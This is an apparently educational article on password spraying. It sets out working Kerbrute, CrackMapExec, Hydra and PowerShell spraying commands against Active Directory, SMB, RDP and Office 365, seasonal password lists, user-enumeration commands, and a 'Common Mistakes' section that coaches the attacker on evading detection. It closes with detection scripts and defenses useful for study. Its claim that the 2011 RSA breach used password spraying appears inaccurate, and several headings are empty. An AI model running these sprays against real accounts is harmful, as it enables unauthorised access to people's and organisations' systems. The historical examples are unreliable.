Password Spraying: Low-and-Slow Credential Attacks

The One Password That Opened a Thousand Doors

In 2022, attackers targeted a major financial institution not by guessing one executive's password a thousand times, but by trying "Spring2022!" once against every employee's account. Ten accounts accepted the password — including a domain administrator. This is password spraying: the low-and-slow credential attack that bypasses lockout policies by spreading guesses across many accounts.

Password spraying is a credential attack where an attacker tries a small set of common passwords against many user accounts. Unlike brute force which targets one account with many passwords, password spraying targets many accounts with few passwords.

Prerequisites

Before studying password spraying, you should understand:

How Password Spraying Works

The Attack Pattern

Traditional Brute Force:
Account A: password1, password2, password3... [LOCKOUT]
Account B: password1, password2... [LOCKOUT]

Password Spraying:
Account A: Spring2026!
Account B: Spring2026!
Account C: Spring2026!
[Wait 30 minutes]
Account A: Summer2026!
Account B: Summer2026!
Account C: Summer2026!

Why It Is Effective

Password Spraying Tools

Using Kerbrute (Active Directory)

# Password spray with Kerbrute (no domain admin needed)
./kerbrute passwordspray -d corp.com domain_users.txt 'Spring2026!'

# With valid account for pre-authentication
./kerbrute passwordspray -d corp.com domain_users.txt 'Summer2026!' --dc 192.168.1.10

Using CrackMapExec

# Spray a single password
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2026!'

# Spray with delays
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2026!' --delay 30

# Check what authentication works
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2026!' --continue-on-success

Using Hydra

# HTTP form-based spray
hydra -L users.txt -p 'Spring2026!' target.com http-post-form   "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"

# RDP spray (one password, many users)
hydra -L users.txt -p 'Spring2026!' rdp://target.com

Custom PowerShell Script

# Password spraying against Office 365
$users = Get-Content .\users.txt
$password = "Spring2026!"
$securePass = ConvertTo-SecureString $password -AsPlainText -Force

foreach ($user in $users) {
    $cred = New-Object System.Management.Automation.PSCredential($user, $securePass)
    try {
        # Attempt authentication against Exchange Online
        $session = New-PSSession -Credential $cred -ErrorAction Stop
        Write-Host "[+] Success: $user" -ForegroundColor Green
        Remove-PSSession $session
    } catch {
        Write-Host "[-] Failed: $user" -ForegroundColor Red
    }
    Start-Sleep -Seconds 30  # Avoid lockout
}

Common Passwords to Spray

Based on annual password lists and seasonal patterns:

# Seasonal passwords
Spring2026!  Summer2026!  Fall2026!  Winter2026!

# Month-Year combinations
January2026!  March2026!  June2026!

# Company name variations
CompanyName1!  CompanyName2026!  CorpName1!

# Common patterns
Password1!  Password123!  Welcome1!
ChangeMe1!  Admin2026!  Temp1234!

# Reading from a file
cat /usr/share/wordlists/seclists/Passwords/Common_Credentials/seasonal_passwords.txt

Creating a User List

Enumerating Users

# From LinkedIn or company website
# Pattern: first.last@company.com

# Using kerbrute for user enumeration
./kerbrute userenum -d corp.com --dc 192.168.1.10 usernames.txt

# Using Nmap LDAP scripts
nmap -p 389 --script ldap-search --script-args 'base="dc=corp,dc=com"' target.com

# Using Metasploit auxiliary modules
msf6 > use auxiliary/gather/ldap_query

Detection and Defense

Monitoring for Password Sprays

# Windows Event IDs to monitor
# 4625: Failed logon (single failure from different accounts)
# 4771: Kerberos pre-authentication failed
# 4648: Explicit credential logon

# PowerShell detection script
$threshold = 10  # Failed attempts from same IP
$timeWindow = 10 # Minutes

Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4625
    StartTime=(Get-Date).AddMinutes(-$timeWindow)
} | Group-Object -Property @{
    Expression={$_.Properties[18].Value}  # Source IP
} | Where-Object Count -gt $threshold | ForEach-Object {
    Write-Warning "Password spray detected from $($_.Name) — $($_.Count) attempts"
}

Preventive Measures

# 1. Account Lockout Policy (Windows)
# Default domain policy settings:
# Account lockout threshold: 10 invalid attempts
# Account lockout duration: 30 minutes
# Reset account lockout counter after: 30 minutes

# 2. Enable MFA for all accounts

# 3. Implement smart lockout (Azure AD)
# Locks after first failed attempt from unfamiliar location

# 4. Use conditional access policies
# Block sign-ins from unexpected countries
# Block legacy authentication protocols

Strong Password Policies

# Modern password recommendations
# Length: 14+ characters
# Complexity: Not required if long enough
# No periodic rotation requirement
# Check against breached password lists

# Disable common weak passwords
net accounts /minpwlen:14
net accounts /lockoutthreshold:10

Real-World Examples

Office 365 Password Spray (2019): Attackers targeted thousands of Office 365 tenants with password sprays using seasonal passwords like "Summer2019", compromising accounts across multiple organizations.

CISA Warning (2020): The US Cybersecurity and Infrastructure Security Agency warned of widespread password spraying campaigns targeting cloud services, government agencies, and critical infrastructure.

RSA Breach (2011): The attack that compromised RSA's SecurID tokens used password spraying and spear phishing as initial access vectors.

Common Mistakes

Spraying too fast: Rapid spray attempts from the same IP trigger detection. Use delays between attempts.

Using obvious passwords: "Password1" and "Company123" are monitored by security teams.

Ignoring geographic patterns: Login attempts from unexpected countries are red flags.

Spraying from corporate IP: Never spray from your own organization's IP range.

Best Practices

Related Tools

Related Articles

Summary

Password spraying bypasses account lockout by trying one common password across many accounts rather than many passwords against one account. It is highly effective against organizations with weak password policies. Defenses include lockout policies, MFA, anomaly detection, and monitoring for single-failure events across multiple accounts.

Knowledge Check